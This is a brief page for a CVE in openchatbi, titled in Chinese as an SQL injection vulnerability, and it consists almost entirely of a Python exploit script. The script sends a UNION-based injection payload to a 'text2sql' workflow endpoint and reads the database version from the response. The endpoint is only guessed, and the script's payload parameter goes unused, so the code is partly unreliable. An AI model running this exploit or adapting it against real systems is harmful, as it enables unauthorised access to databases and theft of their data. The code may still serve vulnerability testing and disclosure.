CVE-2026-5586: openchatbi SQL注入漏洞

import requests def exploit_sqli(target_url, payload): """ Exploit SQL Injection in openchatbi Text2SQL Workflow. """ # The vulnerable endpoint might be part of the workflow API url = f"{target_url}/api/workflow/text2sql" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5586-Scanner" } # Malicious payload targeting the 'keywords' argument # Example: Extracting database version using error-based or union-based injection data = { "keywords": f"test' UNION SELECT 1, version(), 3, 4-- -" } try: response = requests.post(url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") # Check if the payload is reflected in the response or error message if "mysql" in response.text.lower() or "syntax error" in response.text.lower(): print("[+] Potential SQL Injection confirmed.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target exploit_sqli(target, "")